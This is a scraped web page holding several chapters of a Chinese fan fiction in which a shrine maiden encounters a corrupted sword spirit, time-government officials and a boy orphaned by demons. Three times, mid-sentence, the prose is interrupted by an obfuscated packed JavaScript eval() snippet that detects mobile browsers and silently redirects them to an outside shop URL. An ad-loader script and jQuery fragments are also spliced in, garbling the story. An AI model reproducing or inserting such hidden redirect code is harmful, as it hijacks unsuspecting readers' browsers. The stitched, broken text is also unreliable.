加州清光拿着刀随意地在河边挥舞了两圈，激起了两片跃起的水花，然后…… 清澈的湖面上隐约倒映出他冰冷的目光…… 加州清光顺着挥剑的手势将身一闪，“铮——”是刀与刀之间的铮鸣，他手上的刀剑正正与另一振刀剑相交，在空中闪出了锋利的寒芒。 初次的交锋并没有得到胜负，二人齐齐向后退了半步。 加州清光离河水很近，在踩到河岸旁松软的泥土的时候踉跄了一下脚步，差点站不稳就这么摔倒在河里。 加州清光:…… 他努力地稳住了身型，暗红色的眸子里满是嘲讽：“我竟不知长谷部的手段竟然如此低劣，什么时候学会暗箭伤人了。” 【压切长谷部】依旧举着自己的长刀，丝毫没有被加州清光的话语刺激，产生任何的动摇，他的眸光坚定：“只要是为了主命。” “呵……”，加州清光轻嗤了一声，用冰冷的视线随意地扫视了一下四周，【压切长谷部】，【骨喰藤四郎】，【和泉守兼定】，还有……另一振【加州清光】…… 加州清光的眸子在另一振“自己”身上停顿了片刻…… 另一振【加州清光】看起来似乎过得很好，……是被审神者所深深地爱着呢。 曾经的加州清光或许也曾渴望过这份爱意，但是……人类…… 一想到那些过往的遭遇，加州清光的怒气便达到了巅峰，他的身上逐渐冒出一团深黑的雾气，背上也开始长出锋利的骨刺，俨然是要失去理智的节奏。 “快，我们一起上，治住他。”【压切长谷部】有条不紊地下达了指令。 其他的刀剑虽是错愕了一下，却也很快地反应过来，迅速地加入了战斗。 有一句话怎么说来着，“黑化强十倍，洗白弱三分”，即使对方在数量上有绝对的优势，但由于失去理智的加州清光战斗力大幅加强，两方都没有讨到什么好处。 他们战斗了很久，却也只能堪堪持平。 【压切长谷部】咬了咬牙：在这样下去也不是办法，他们的气力迟早会有耗光的时候，而眼前的这振加州清光…… 注视眼前这振不要命的刀剑，【压切长谷部】的眸光闪了闪:竟然连受伤了也丝毫不在意，就像是感知不到疼痛一般。 这样只攻不守的打法，实在是让他们难以招架。 实在不行，就只能暂且撤退。 在【压切长谷部】犹豫思考的那么一个瞬间，【骨喰藤四郎】无意间露出了一个破绽，被加州清光狠狠击中了。 “骨喰，”四下里传来了担忧的声音，另外几振刀剑也不禁紊乱了阵脚。 对于这样的变故，加州清光是丝毫不知道的，他的内心已经被仇恨蒙蔽了，什么都听不见，什么也看不见，大脑中只剩下了一个念头：“杀！” 杀光一切！斩断一切！ 他像是一个被仇恨与杀戮裹挟的机器，只剩下了挥刀的本能。 眼看着加州清光就要向着自己袭来，【压切长谷部】匆忙挥刀抵挡，但似乎已经迟了…… 就在这时，一枚箭矢从远处划破天空射了下来，准确无误的命中了加州清光手中的刀剑，其力度之大，连已经无法感知到痛苦的暗堕刀剑也抵挡不住，在力的反作用下向后退了两步，许久，他的身形都没有缓过来。 见到那把暗堕刀剑似乎没了动静，【压切长谷部】这才松了一口气，看向来人。 在注意到相助之人是一位巫女小姐之后，【压切长谷部】有稍许的惊讶，但很快他就反应过来，神色感激地说道：“多谢巫女小姐相助。” 然而，巫女小姐并没有理她…… 月见千里走到近处，看着这里的一片狼籍，忍不住蹙了蹙眉，她略有些心疼地抚摸着旁边的古树。 这些无意间被卷入战斗的老树……它们的树皮上已经有了刀剑锋利的划痕。 她冷漠地看向造成这一切的罪魁祸首：“此方是我的神社，请尽快离开。” 【压切长谷部】：“……” “非常抱歉，打扰了，”他立刻郑重地道歉，虽然说这位巫女小姐的态度有些冷淡了，但的确是因为他们招呼也没打一个，就闯入了别人的地界。 【压切长谷部】下意识地就要带着暗堕的加州清光离去，然而，加州清光似乎并未完全失去战斗能力，身旁的黑雾不断涌现，暗红色的眸子里还是被仇恨笼罩着。 【压切长谷部】的神态有些游移，他不确定以他们现在的状态，是否足以带走加州清光，而且……他瞥了一眼月见千里，对方的冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533066|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显而易见。 对方已经下闭门羹了，若是再次战斗惹怒她的话，【压切长谷部】想到她刚刚的战斗力，有点害怕还没正式开打，就被对方扔出去…… 或者被巫女小姐绑住等着时之政府来捞自己之类的…… 怎么想都觉得好丢脸！ “骨喰，”己方【清光】担忧的叫喊声让【压切长谷部】回过神，他纠结了一会儿，还是决定先行撤退…… 至于那把暗堕清光…… 把他就这么丢在这里，压切长谷部完全不担心，毕竟按照巫女小姐的武力值，暗堕刀剑也应该伤不到她分毫。 等【压切长谷部】回去禀报审神者之后，他们再来处理这把暗堕刀剑也不迟。 若是……对方到时候还活着的话…… 于是，【压切长谷部】向月见千里鞠了一躬告辞：“打扰了，改日我们再登门拜访。” 月见千里：“……” “不必”，她的话音刚刚落下，却发现四周哪里还有【压切长谷部】的身影，对方竟然是连拒绝的话也不想听，直接溜之大吉了…… 月见千里按了按额头，无气可撒的她将矛头转向另一位罪魁祸首。 “连意识也无法控制的失败者，”巫女小姐冷淡地瞥了对方一眼，虽然说对方已经无法交流，但心情并不明朗的巫女小姐依旧不打算放过他，“果真是个麻烦。” 说着月见千里就抬脚离开，俨然是要让这把受伤颇重的刀剑自生自灭的意思。 她并不打算理会这个麻烦。 暗堕的加州清光发出了一声呜咽，他似乎因为被对方当作“麻烦”很是不满，即使是暗堕到失去了理智，他也下意识地反驳。 然而，他又能反驳什么呢？ “连意识也无法控制的失败者，”巫女小姐冷冰冰的语气像是冬日里的飞雪，让加州清光被“仇恨”占满的思维也有一瞬间的凝滞，他喃喃地念着这句话，虽然现在的他还处于暗堕之中，大脑无法思考，但是…… 但是…… 加州清光眼中里面逐渐浮现挣扎，在意识稍稍有那么一点回拢之后，大脑里面取而代之的是因为重伤和失去气力而引起的无尽疲惫。 他好想要睡过去！ 在睡过去之前，他暗红色的眸子微微睁开，迟缓地盯着巫女小姐漠然的脚步。 他才不是连意识也无法控制的失败者…… 而且…… 好气哦，他又被……看轻了！ 16. 不要去好奇那样的存在 西历2205年，有一群自称“历史修正主义者”的势力为了篡改历史，组建了“时间溯行军”。他们穿行于时空之间，不断地对霓虹国的过去发动攻击。 因此，为了守护正确的历史，与之相对的时之政府则满世界地寻找拥有强大灵力的人类，与之签订契约，这样的人类被称为“审神者”。 审神者具有让沉睡的器物心灵觉醒的力量，他们可以唤醒隐于器物中的付丧神，赋予其人形与时空溯行军作战。 由刀剑中诞生的付丧神，就是“刀剑男士”。 然而，刀剑之所以被称为刀剑，就是因为它们是可以伤人的利器。有形之物一旦有了思想就变得难以控制，更何况还是天生就拥有战斗能力的刀剑男士。 为了防止它们背主，时之政府同样在麾下设置了执法部门，将成就卓绝的审神者编入其中，震慑付丧神的同时，也能将那些已经暗堕的刀剑男士们抓捕归案，抹去他们的记忆，为他们进行“净化”，从而达到回收利用的目的。 鹤田飞鸟，某s级本丸的拥有者，同时也是时之政府的执法者之一。 “叮零零，”早晨七点半，床头柜上的闹钟准时响起，鹤田飞鸟揉了揉惺忪的睡眼，起床洗漱，然后在八点五十的时候抵达时之政府的大楼。 在简单地扫了一眼今日要处理的事物之后，鹤田飞鸟看到了那颗锃亮的光头正气势汹汹地走进办公室，她瞬间安静如鸡，低下头大气也不敢喘一声，等待来自于上司的怒吼。 是的……怒吼…… 鹤田飞鸟无比后悔曾经的自己……竟然被做公务员的那一点蝇头小利迷了心智，与时之政府签订了奴隶条约。 明明她在审神者里面也算是一个日天日地的大佬来着，结果在现实中还是得唯唯诺诺。 “鹤——田——飞——鸟——”，秃头上司今日的音量格外的大，把鹤田飞鸟本人的小心脏吓得一跳又一跳的。 “是，”她赶忙站起身来，一幅乖乖听训的模样，心中却在不断腹诽：秃头上司今天吃错药了？怎么这么凶？对了，今天是时政开大会的样子，莫不是…… 鹤田飞鸟的眼睛忍不住朝着秃头上司手中拿着的文件瞥去。 莫不是被上层领导骂了吧。 鹤田飞鸟此时还在幸灾乐祸，殊不知，上司的愤怒已经全部转移到了她的身上。 看着自己手下的员工表面乖巧，实则小动作不断的模样，中村健太郎更加愤怒了，即使是厚厚的玻璃镜片也无法掩饰他眸中的怒火，他将文件就这么扔在了桌上，开始了对鹤田飞鸟长达几个小时的喋喋不休。 鹤田飞鸟：…… 好累哦，真的好累，她不知道对方为什么能持续输出这么长时间，她就不行……光是站在这里就觉得累了。 可她又能怎么办呢？作为敢怒不敢言的社畜，她只能脸上笑嘻嘻，心里mmp，扬着笑脸的同时，不忘对正在全力输出的上司来几句：“是”“好的”“我这就去办”“明白了”“是我的问题”。 “已经一个月了，派你负责的暗堕本丸竟然一点进度都没有”，中村健太郎大概是骂得累了，准备听听手下的发言：“你说说你，到现在都干什么了？” “……”，鹤田飞鸟飞向外太空的神终于回来了，她一边观察上司的情绪，一边小心翼翼地说道：“对方太狡猾了。” 眼看上司的怒气又要飙升，鹤田飞鸟连忙解释：“对方一直利用时空转换装置转移目标，我们每一次都晚一步……” “是吗？”中村健太郎信了个□□成，毕竟对方的工作能力一向不错，他瞅了一眼鹤田飞鸟的电脑，在看到目标定位那个持续不动的红点之后…… 鹤田飞鸟自然也注意到了上司的眼神，顶着上司的死亡射线，她匆忙解释：“误会，这是误会！” “我们昨天已经定位到了对方的位置，哪知那振加州清光突然暗堕，就连我派过去的刀剑也受到重伤，我们就先行撤退了。” “那你现在又在干什么？”中村健太郎冷冷地问道：“再次修整需要这么长时间吗？” “嗯……这正是我今天要向您汇报的。”鹤田飞鸟站直了身子。 一旦说起正事，她的眼神也正经了起来，“昨天我的刀剑重伤，多亏了一位巫女小姐相助才能逃回来。那位巫女似乎能力很强，是一下子就能制住暗堕刀剑的存在。” “所以我想问您，需不需要将她招揽过来？” “原来是这样啊，”听到这里，中村健太郎的神色终于缓和：“能招揽到最好，我们时政还是很缺人手的。” “是。”鹤田飞鸟立马回答到。 “嗯！”中村健太郎满意地点了点头，他对这位下属的能力还是相当信任的。 但是……他品了品，突然感觉到了有什么地方不对…… 是什么呢？中村健太郎拍了拍脑袋，然后，鹤田飞鸟的注意力一下子就被吸引过去了，别说，上司的这颗脑袋……真的好像是卤蛋哦。 难怪她一看到卤蛋就犯恶心！呸呸呸—— “对了……”，中村健太郎的一声吼叫将鹤田飞鸟拉回了现实。 鹤田飞鸟：……难道自己把心里话说出来了？不应该啊？ “哪里来的巫女？”中村健太郎发现了盲点，“你们去的不是时空缝隙吗？” 面对自己上司怀疑的眼神，鹤田飞鸟：…… 冤枉啊……她感觉自己比六月飘雪还冤。 “这是真的！！！”鹤田飞鸟赶忙发誓，“若是我有半句虚言，就让您下半生无论用多少生发水也长不出头发。” 中村健太郎：……我谢谢你啊！ 中村健太郎叹了一口气，他的下属虽然有些不着调，但也不必用这样的理由诓骗自己…… “把坐标给我看看……算了，还是我自己来，”中村健太郎念叨着：“能在时空夹缝里生存的，来历应该不简单。” “巫女……也没听说过什么巫女啊……” “该不会……”从电脑里露出的那个坐标逐渐与记忆里那些被遗忘的东西重叠起来，中村健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533067|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太郎吸了一口气：…… 他不敢置信地再次盯了好几眼，确信自己的眼睛没有出任何问题，才瘫坐在地上休息了好一会。 “部长？”鹤田飞鸟有些疑惑，她这上司的表情…… 怎么这么奇怪呢？ “啊？”中村健太郎恍惚了好一会儿，他一把合上鹤田飞鸟的电脑，神色认真：“听好了，以后与这个坐标有关的任何东西都不要管。” “诶？那我的任务？” 中村健太郎：“我回办公室就将它删除，你就当没接过那个任务。” 鹤田飞鸟：……所以她这么长时间的任务是为了什么？ 还有，那个坐标，真的有那样可怕吗？鹤田飞鸟内心的好奇心蠢蠢欲动。 越说不能管，她就越想管！她主打一个倒反天罡，嘻嘻—— 知道下属究竟是个什么玩意儿的中村健太郎…… 不想这颗好苗子走上歧路，他再三严肃地强调：“若是你还想好好的话，就忘记那个坐标。” “那里面的人……是个疯子……” 中村健太郎已经很少想到那样的画面了…… 大地是焦黄色的，黑色的火焰裹挟着滚滚浓烟喷涌而出，仿佛是来自于地狱的烈火，像是要焚尽世间的一切。 空气干燥得随时将要点燃，化作无数的刀刃入侵着人的五脏六腑，挤压着身体里的每一滴水分。 耳边似有悲鸣之声。 无数看不清是人类还是诡异的什么生物在火焰里哀嚎着，舞动着，挤压着，喷涌着，不知道等待着它们的究竟是死亡还是新生……它们张牙舞爪的，像是不可名状的兽，随时要将窥探者的灵魂拖入深不见底的深渊。 而在这诡异的画面中央的……是……是…… 是什么呢？他不敢看，那是看一眼也能让人窒息的存在…… 中村健太郎擦了擦额角溢出的汗水，再一次郑重地提醒道：“不要去好奇那样的存在。” “她曾经掠夺过神明的权柄。” 中村健太郎只能对他的下属言尽于此，至于其他的，不能说，且不敢说。 光是说出这些就已经耗尽他的所有气力了。 恍惚之间，他仿佛瞥见了一双冷淡到极点的，对任何事情任何东西都高高俯视着的淡金色眸子。 “……” 月见千里睁开了她的眼眸…… 本在练习神乐舞的她突然停了下来，手中的神乐铃微微发出了金色的光芒。 “消失了。”她喃喃道。 她看向不远处，芥川银正拿着扫帚在走廊上不断打扫着。 相当乖巧的孩子呢…… 月见千里眯了眯眼睛，唇间微微扬起一丝弧度：“银？你想出去吗？” 努力打扫的芥川银先是身躯一震，然后更加努力地低头打扫，装作什么都没有听到的样子。 月见小姐不会是想要赶她离开吧？ 她才不要离开这里，她哪里也不想去！ 月见千里：“……” 17.不过交易而已 锖兔和真菰离开神社的第三十天，附着在御守上的神力消失了。 这是月见千里早就预料到的事情。 那是已经消逝的神明所残存下来的神力，在神隐之地尚能留存，一旦到了现世，便会被认为是不该存在的东西，自动被世界抹消。 该说不愧是属于神明的力量吗？ 即使是在那样的情况下也能维持一个月的时间。 月见千里心情有些微妙地感慨了一句，然后……她感知到了一些不可控制的东西。 此方神社或者说月见千里本人，与那个世界产生了一种若有若无的联系。 即使现在附着于御守上的神力消失了，但那联系依旧还存在，就像是有一根看不见的丝线将二者维系起来，纠缠在一起。 是因为自己将御守交给锖兔和真菰，导致她与那二人结缘所产生的结果吗？ 月见千里无奈地叹了一口气，这就是当时自己顾虑要不要将御守交给他们的原因。 就像是一只小小的蝴蝶扇动了翅膀，从而在相隔千万里的地方引起了风暴，她的行为似乎也引起了“蝴蝶效应”，导致她与那个世界产生了联系，改变了原有世界的轨迹。 月见千里是有办法消除这份蝴蝶效应的，只要…… 将缘分斩断即可。 夜斗好像就有那样的能力，若是她去拜托那位无良神明的话，他应该不会拒绝。 可即使有了这样简便省事的方法，月见千里依旧有些踌躇，她不知道自己该不该这么做。 缘分，或者说命运，这些东西太过玄妙，一环扣一环，任何不起眼的决定都可能影响未来事物的走向。 月见千里依旧还属于人类，无法参透命运的走向，故而也只能在选择的十字路口游移，停顿，踌躇不前。 月见千里闭上眸子思索，她现在什么也看不见，但却能听见走廊上的风铃传来的丁零当啷的清脆的声响，声音悦耳而动听。 就像多年以前的那个午后，她躺在屋檐上看着天空，旁边有人温柔地说着什么，她转头看去，抬眼之间就撞进了一双专注看着她的，泛着细碎笑意的眸子里面。 算了…… 缘分这种东西，不必对其多加干涉，一切顺其自然即可…… …… 月见千里来到了之前那些不速之客打斗的地方。 既然自己已经决定顺势而为，在那之前，她还有一件准备工作。 芥川银…… 那个女孩子是自己带过来的，那么月见千里就需要对她负责。 她并不打算让芥川银掺合进这件事情里，毕竟能让两个十多岁的孩子拼命战斗，甚至送命的地方，能有多正常呢？所以…… “还活着吗？”月见千里看着倒在地上的战损版少年，自言自语道。 少年的情况很不好，似乎已经意识全无，濒临死亡了。 月见千里想了想，跪坐下来，给加州清光输送了一股灵力。 能救就救，若是实在救不了，她再另想办法就是了。 一股散发着金色光芒的灵力源源不断地从月见千里手中输送进加州清光的身体里面。 巫女小姐的灵力并不霸道，就像是风一样，温温柔柔拂面而过，连存在感也不甚明显，在对方还没有意识到的时候，就已经潜移默化地汇聚了满身。 还处在昏迷之中的加州清光微微舒缓了眉眼，在这样的灵力的熏陶下，他身上的黑气也被拂去了不少。 加州清光感觉自己被泡在温泉里面，暖洋洋的水环绕着他，很舒服，舒服到他很想从看不清的梦魇中走出来，舒服到误以为那些不堪的过往就像是一场噩梦，梦醒之后便是雨过天晴。 他的耳边还传来了什么人的声音，刚开始还模模糊糊的，却越来越清晰，“……若是还活着，就吱一声。” “吱”，加州清光想也不想的就下意识地说道，等他睁开暗红色的眸子，与给他灵力的那个人来了个对视的时候，加州清光：…… 他懵懂的视线逐渐清明，也愈发变得崩溃。 他到底在做什么啊？ 对方可是人类，造成他悲惨遭遇的罪魁祸首，而自己竟然会沉迷在人类给予的施舍之中。 果然不愧是性情卑劣的人类吗？专挑自己没有反抗能力的时候下手。 加州清光咬了咬自己的后槽牙，他挣扎着坐起来，一把拍开了月见千里输送灵力的手：“不用你管，人类。” 他的眼神恨恨：“不要以为你救了我，就会得到我的感激。” “很抱歉，你的感激对我来说毫无用处。”月见千里的话淡淡的，像是在说再简单不过的事实。但在加州清光眼中，却带着一股嘲讽意味，就像是在说，加州清光本人毫无用处一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547525|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加州清光瞥过头去，似乎不想让人看到他眼底的那些许脆弱。他冷冷地说道：“你有什么目的？” “我想和你做一个交易。”月见千里丝毫不在乎对方语气中的冷漠与戒备，单刀直入地说道：“接下来我可能会出去一趟，我需要你帮我守护这座神社一段时间，相应的，我会治好你的伤。” 本来月见千里是考虑过让夜斗带着芥川银的，但是，芥川银不愿意回现世算是其次……她一想到夜斗那个落魄且不靠谱的神明会带着她乖巧可爱的小姑娘翻垃圾桶，就忍不住一阵窒息…… 比起无良神明……她更愿与一个陌生人做交易。 “我想你是找错人了，”加州清光冷笑，“我现在还在受到追杀，若是我守着神社，那群人也会追过来。” “这一点不用担心，”月见千里抬了抬眼皮，“他们不敢再来到这里。” 月见千里的话语太过笃定，让加州清光不由得有些错愕：“你怎么知道？” 然而等待他的只有巫女小姐不变的询问眼神，看起来是不准备回答他的意思了。 “不错的交易，我似乎没有拒绝的理由，”加州清光思考了一阵，回复道。 “不过若是追我的人过来，我会立马离开。”他又加了一句，不管怎么说，他还是无法完全相信眼前的人类。 “随你。”月见千里回复道，她朝着少年伸出了手，“把你的本体刀给我。” “干……干嘛？”加州清光的大脑忽地一滞，有些宕机，“我们只是平常的交易关系。” ？？？ 月见千里奇怪地看了加州清光一眼，嗯……用一种看智障的眼神：“我去给你手入。” 加州清光：“……哦。” 他犹豫了一会儿，在月见千里即将等得不耐烦的时候，神色微妙且动作僵硬地将手中的本体刀递给月见千里。 月见千里接过刀剑，看了看面色很不自在的少年：“若是你害怕我会对你的本体刀动什么手脚，可以跟上来。” 说着，她抬脚向着神社的方向走去。 加州清光怔了怔：才不是…… 不，就是这样！ 他闭了闭眸子，在心中说服自己：就是这样！只有这样才能解释自己刚刚的犹豫。 不过只是交易而已。 他一点也无法信任眼前的人类。 18.命运的抉择 月见千里做了一个梦。 在来到这片神隐之地后，她便很少做梦了，以至于当她置身于那片瑰丽的梦境中的时候，思绪也随之凝滞。 她是谁？她在哪里？ 这些她都不知道。 眼前触目可及的是一片瑰丽的星海，亿万颗永恒灿烂的星辉漂浮在空中，银白色的光辉在她的浮动着，竟汇聚成了一条虚幻的河流。 这是她从未见过的景象，让本就不甚清醒的大脑更加目眩神迷。 月见千里忍不住跟着这条长河的指引一路向前，在这片洪流的尽头，她的耳边似乎传来了什么人的声音，但当她细细听去，却又什么都听不到。 她下意识地抬手，想要触碰终点的那颗星子，而后…… 在她伸手的那个瞬间，她身上的灵力控制不住地溢散出来，淡金色的光芒与那颗璀璨的棱星交相辉映。 “咔嚓——”，一声清脆的响声，她身处的世界像是失去了壁垒一般寸寸碎裂，化作四分五裂的玻璃碎片，在光的折射下呈现出不同的角度，不同的光芒。 有什么被打破了…… 月见千里清晰地意识到了这一点，随之而来的是…… 微妙的，来自不同世界的杂乱的声音，丝丝缕缕，若隐若现地透过时间与空间传入了她的耳中，老的少的男的女的都有，却诡异地有些和谐，像是在一同催促她做些什么选择。 月见千里随意地从四周拿过一片玻璃碎块。 当她选择那片碎块的时候起，其他碎块尽数消逝，她也在那片被选择的碎块里看到了一片被尘封的影像。 荒芜人烟的树林里传来了窸窸窣窣的声响，一个少年扒开半人高的灌木丛在拼命奔跑，还时不时神色惊恐地看着后方，像是在逃离着谁的追杀。 他的步伐急促而又凌乱，几次都狼狈地被林间的枯树枝或者藤条绊倒，他都没有在意，只是一次又一次地爬起，近乎执念一般地向着树林深处奔去。 他的父母死了，就在不久之前，亲自在他的面前被恶鬼撕碎，他却什么都做不了，只能拼尽全力地奔逃…… 他的生命……是父母拼尽全力为他争取而来的。 少年紧咬着牙关，不让喉咙中的粗喘声流出，胸腔也不断隐隐作痛，就像是刀子一般细细研磨着五脏六腑，他下意识地看向天空，那轮月亮还高高地悬挂在天际，有些……让人绝望。 少年摇了摇头，甩掉心中的绝望。 只要熬过夜晚，他就能活下去，他绝不能放弃。 他还要……还要…… 少年继续奔逃着…… 不远处是一方破旧的神社，他记得他与他的父母曾千百次地经过这里。 现下是神权陨落的时代，神社早就失去了供奉，变得破败不堪。整个建筑四周杂草丛生，朱红色的墙壁经过长久的风吹日晒已经干裂褪色，屋檐上，台柱上到处都是蜘蛛网。 又脏，又乱，又差…… 但对现在的少年来说，确是能够救命的地方。 少年眼中燃起点点希望之火，他向着记忆中的方向不断奔跑，然后……在即将到达神社附近的时候，他眼力很好地看见神社的门口伫立着一位幽魂…… 隐约看的出来是一位女人，穿着白衣绯袴的巫女服背对着他。 少年看不清女人的面貌，但……他下意识地打了一个寒颤…… 他刚刚已经说过了，这是神权陨落的时代，神明已经成为了传说。 像是巫女，祭官之流……或许在一些大城市里还有他们的存在，但像是他们这样偏僻的小山村，却是一点都没有的…… 更何况……他喵的他路过这里无数次，什么时候见过有活人！ 神社虽然是神明的居所，却也常常容易有灵异的事件发生。 比如，据说在古代祭祀的时候，人们会在半夜时献上正当龄的男女，将他们置于“稻荷神”的神像面前，“稻荷神”的眼中便会发出幽幽的蓝光，一夜之后，那对男女失去了神志，当地人将他们埋入土中，他们凄厉的呐喊声便会传满整个京都。 再比如，在某个古老的大家族中，也有家主豢养巫女祭祀邪神的传说。据说那些巫女死后，怨气久久不散，整日徘徊于庭院之中，一但有人靠近，便…… 少年的泪水从眼中夺眶而出…… 难道他今天注定要交代在这里了吗？ 一边是吃人的恶鬼，一边是疑似被祭祀充满怨气的怨鬼…… 少年有种左右为难的感觉。 但在纠结了0.01秒后，他还是迅速做出了决定，继续向着破旧的神社奔去，在抵达庭院的前一刻，他一个土下座划跪在“巫女”面前…… “这位美丽的巫女小姐，我知道您因为含怨死去而心有不甘，但是冤有头债有主，致使您死亡的罪魁祸首已经不在了，请您高抬贵手，不要迁怒于手无缚鸡之力，弱小可怜而又无助的我，我村田一定对您感恩戴德，投桃报李，您饶我一命，我感恩您一生……” 少年叽里呱啦说了一大通，就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连他自己也不知道在说些什么，总之话语乱七八糟的，毫无逻辑可言。 在他终于停口之后，四下里一片静谧，隐约可以听见森林里传来的蝉鸣声。 村田悄咪咪地张开指缝向外看去。 月光之下站着一位面无表情的巫女小姐，那样少见的淡金色眼瞳，与邪异是完全搭不上边的，若是要真的用一个词语来形容的话，反到更具——神性。 当“神性”这个词语出现在村田脑海里的时候，他的心中骤然稳定了大半，再见巫女小姐的时候，也没有了原先的恐惧。 “您好，巫女小姐，初次见面深感荣幸，请问……” 村田还没搭讪完，一颗硕大的头颅从外面探了起来，“人类，找到你了……” 村田：“糟……糟了……”他冷汗涔涔地向着后方看去，只见一只恶鬼在身后现出了锋利的獠牙，向着他们扑了过来。 村田：…… “一线，”村田还没有来得及奔逃，只听见一声清冽的女声，一道淡金色的结界在他的面前展开，仿若坚不可摧的壁垒，将他们和恶鬼分隔开来。 那丑陋的鬼被隔绝在外，张牙舞爪地做着各种破坏动作，但是……无论如何也进不来。 “得救了……”，村田长长地松了一口气，直到这时，他才拥有了一种尘埃落定的感觉。 他看向高悬于天际的月光，泪水无知无觉地从眼底流了下来，“终于得救了。”他又哭又笑，面上却半点没有劫后余生的喜悦，反而一股不知从何而来的悲伤在他的身上萦绕着。 为了他的生命，付出的已经够多了…… 片刻之后，约莫是哭够了，他擦了擦眼角的泪水，向着他的救命恩人看去。 巫女小姐正不发一言的注视着他，眼中像是蕴含着一种说不清道不明的悲悯。 可……有什么好悲悯的呢？ 村田抱住了巫女小姐的腿，眼中满是感激：“恩人！您就是我村田此生的恩人。” 他神色很是殷勤：“恩人，您有什么需要我做的吗？我村田必定赴汤蹈火，万死不辞。” 月见千里：…… “不必了，”她顿了顿，“你可以告诉我现在是什么时代吗？” 村田：“哈？” 他下意识地松开手，离巫女小姐远了一些，躲到某棵大树后面探头探脑：“莫非……” 话音未落，他的眼下留下了两行宽面条：“您真的是已经死去多时的鬼魂？” 月见千里：“……” 19.恰似故人来 低阶鬼是没有神志的。 它们无法躲避阳光的侵蚀，只能任由阳光照在它们的身上，将其化作飞灰。 月见千里跟着村田回到了他所在的村子。 那片村子已经是一片狼藉，到处都是被破坏的建筑和已经死去的人…… 村田沉默着注视着眼前的一切，而后一句话也不说，只是在村子里面挖了一个又一个的小土堆，将那些熟悉的人埋葬。 光是重复那样的动作就已经花了大半天的时间。 在一切完毕之后，村田站在那些人的墓前，一动不动地站了许久。 月见千里并没有打扰他，她只是作为一个旁观者注视着这一切，她似乎能够理解对方的这一种痛苦，但是……也仅仅只是理解而已，她到底无法感同身受。 等村田再次转过身来的时候，月见千里立马看见了这个少年的变化，有什么不一样了…… 一颗名为“坚韧”的种子在他的眼底生根发芽。 “接下来有什么打算？”月见千里问道。 少年闭了闭眸子，再睁开眼时，不过才八九岁的少年已经下定了某种决心：“听说在隐蔽的群山之间有专门杀鬼的队士存在，我打算加入鬼杀队，去讨伐恶鬼。” “可你并不知道鬼杀队的位置。”月见千里有些好奇，“你准备怎么找到他们？” 少年攥了攥掌心：“总会遇到的，无论是十年，还是二十年，抑或是更久的时间，只要吃人的恶鬼还在，我就不会放弃寻找。” “行吧，”月见千里点了点头，“我暂且陪你一同寻找。” “诶？真的可以吗？月见小姐您不是还要找人吗？” “嗯……没关系，反正我也没有那两个人的线索，说不定我要找的人也在鬼杀队里面。” “就是不知道你那边是否方便。” 村田：“方便，太方便了。” 他忙不迭地说道，像是生怕月见千里反悔般立马提议道:“那月见小姐，我们先下山吧，咳……我在前面带路。” 说着，村田就立刻往林中跑去。 …… 森林里面静悄悄的，偶有鸟雀振翅的声响。 而后，树叶簌簌地响动了一下，空气中传来少年的声音：“月见小姐，这里，这里……” 被惊动的鸟雀警觉地扑棱着它的翅膀飞了起来，从一根树枝飞到了另一根更高大的树枝上，观察着闯入这片森林的不速之客。 接着，一个少年拨开灌木丛走了出来，先是警惕地观察了一下四周，再见到周围并没有什么危险的时候，他背过头来，向着不远处的巫女小姐挥手：“月见小姐，这里很安全。” 等到月见千里走到近处，少年又转过身，正准备继续探路，然后……猝不及防与背后树上倒挂着的青年来了一个对视。 “请问……”，青年朝村田招了招手，露出了一个不失礼貌的微笑。 村田：……fine，我很fine。 “啊，鬼啊……”，村田惊恐的声音在整个森林上空回荡，惊起了一众飞鸟。 大白天的撞鬼了怎么办？ 明明之前树上没有人啊？ 村田被吓得三魂七魄都飞了出去，一个劲儿地往四周跑。 “咚——”，耳边传来了重物落地的声音，他更是不敢回头了，整个人都跑出了残影。 “巫——巫女小姐——，背后有……鬼……。”月见千里刚刚走到这里，就听见村田上气不接下气的声音，而后，她就看到了村田正绕着他所说的“鬼”绕圈圈，做变速圆周运动。 嗯……跑了……但是又好像没跑…… 月见千里不知道此时该作何感想，沉默了一瞬，然后向着村田所说的“鬼”看去。 青年乖巧地坐在地上，露出了略显无语的笑容。而后，在与月见千里面面相觑的瞬间，他的笑容乎地滞在脸上，像是呼吸都停止了一样。 他有些迟疑地瞪大了眼睛，过来许久，他才后知后觉地露出了惊讶的表情。 “巫女小姐，好久不见了。”少年笑眯眯地向着月见千里打招呼。 